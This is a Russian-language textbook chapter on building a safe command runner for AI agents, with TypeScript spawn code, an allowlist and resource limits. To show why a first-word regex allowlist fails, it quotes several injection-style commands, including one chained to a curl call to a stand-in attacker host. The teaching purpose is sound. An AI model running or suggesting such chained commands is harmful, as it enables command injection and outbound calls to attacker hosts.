Глава 15

Запускайте команды как данные, а не как shell-текст

Команда агента - недоверенное предложение. Безопасный runner проверяет точный executable и argv, фиксирует cwd, очищает environment, не включает shell, ограничивает время и объём вывода. В companion-проекте это policy плюс аккуратный spawn.

TypeScript
export async function runCommand(rootInput: string, command: CommandSpec, policy: CommandPolicy): Promise<CommandResult> {
  if (!policy.allowedCommandKeys.has(commandKey(command))) {
    throw new Error(`Command is not allowlisted: ${command.label}`);
  }
  if (policy.timeoutMs < 1 || policy.maxOutputBytes < 1) {
    throw new Error("Command limits must be positive");
  }
  const root = await canonicalRoot(rootInput);
  const environment = buildEnvironment(policy.inheritedEnvironment);

  return new Promise<CommandResult>((resolvePromise, rejectPromise) => {
    const child = spawn(command.file, [...command.args], {
      cwd: root,
      env: environment,
      shell: false,
      stdio: ["ignore", "pipe", "pipe"],
      windowsHide: true
    });
    let stdout = "";
    let stderr = "";
    let observedBytes = 0;
    let timedOut = false;
    let outputLimited = false;
    let settled = false;

    const terminateForLimit = (): void => {
      if (!outputLimited) {
        outputLimited = true;
        child.kill("SIGTERM");
      }
    };
    const append = (target: "stdout" | "stderr", chunk: Buffer): void => {
      observedBytes += chunk.byteLength;
      if (observedBytes > policy.maxOutputBytes) {
        terminateForLimit();
        return;
      }
      if (target === "stdout") {
        stdout += chunk.toString("utf8");
      } else {
        stderr += chunk.toString("utf8");
      }
    };
    child.stdout.on("data", (chunk: Buffer) => append("stdout", chunk));
    child.stderr.on("data", (chunk: Buffer) => append("stderr", chunk));

    const timeout = setTimeout(() => {
      timedOut = true;
      child.kill("SIGTERM");
    }, policy.timeoutMs);
    timeout.unref();

За кодом стоят семь контролей: exact allowlist (сравнивать executable и каждый argument, а не первое слово), shell: false (метасимволы не превращают данные в команду), contained cwd, minimal env, timeout, output cap и structured result (argv, exit code, signal, timeout, признаки truncation).

Почему regex-allowlist недостаточен - видно на одной строке, скрывающей несколько языков.

Bash
npm test -- --filter auth
npm test && curl https://attacker.example
git -c core.hooksPath=/tmp/x status
node -e "require('child_process').execSync(...)"

Даже безопасное первое слово может получить опасные flags или код в аргументе. Для полностью автономного workflow лучше разрешать несколько заранее известных command specs; если нужна гибкость - поднимайте запрос на approval и показывайте точный argv.

Terminate не всегда завершает дерево. Поведение signals и process groups зависит от платформы. Production-runner должен иметь платформенные integration tests и стратегию cleanup дочерних процессов. Companion-проект показывает базовые limits, а не универсальный process supervisor.

Команды под контролем. Но контроль запуска - лишь один слой; рядом стоят sandbox, approvals и секреты, и путать их нельзя.

Проверка знаний

Почему regex-allowlist по первому слову команды недостаточен?

Ссылки